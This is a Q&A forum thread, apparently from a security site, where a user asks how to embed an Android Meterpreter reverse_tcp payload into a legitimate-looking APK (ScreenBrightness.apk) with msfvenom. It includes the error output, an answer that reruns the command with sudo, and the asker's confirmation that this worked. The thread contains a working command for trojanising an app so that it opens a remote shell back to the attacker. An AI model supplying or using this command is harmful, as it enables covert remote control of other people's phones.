1

I want to embed a payload to an apk file. I tried to use the msfvenom -x ScreenBrightness.apk -p android/meterpreter/reverse_tcp LHOST=<my_ip> LPORT=4444 R > output.apk

And this was the output:

Using APK template: ScreenBrightness.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload Error: Malformed version number string 2.4.0-dirty /usr/bin/apktool: line 27: mkdir: command not found /usr/bin/apktool: line 28: ln: command not found

Then I checked the directory and found that there was a file named output.apk

I tried to install the output.apk on my android it said App not Installed. I've tried multiple times but this was the result.

So, I tried to install the output.apk using adb by command adb install output.apk

And still this was the output:

Failure [INSTALL_FAILED_INVALID_APK]

I am using Linux: Parrot GNU/Linux My android: Android 6.0.1 (Marshmello)

What should I do to properly embed a payload to an apk file?

Thanks in Advance.

DVSDSV
  • 13
  • 4

1 Answers1

0

Try it with sudo like:

sudo msfvenom -x ScreenBrightness.apk -p android/meterpreter/reverse_tcp LHOST=<my_ip> LPORT=4444 R > output.apk
schroeder
  • 123,438
  • 55
  • 284
  • 319
VEGA
  • 24
  • 1
  • Can you expand on this answer? Why would sudo fix the problem? – schroeder Jul 03 '20 at 07:27
  • @schroeder I tried the command suggested above and it worked!!! Sudo Really worked! Thank you. – DVSDSV Jul 16 '20 at 12:55
  • @DVSDSV do you understand why sudo worked and what sudo does? – schroeder Jul 16 '20 at 12:57
  • @schroeder I may not know the proper reason. But I think Metasploit uses Apktool to decompile and recompile the apk file and Apktool Requires root permission to do it successfully. This reason might not be correct, Since, It's my personal opinion. Please do correct me. Thank You. – DVSDSV Sep 20 '20 at 06:08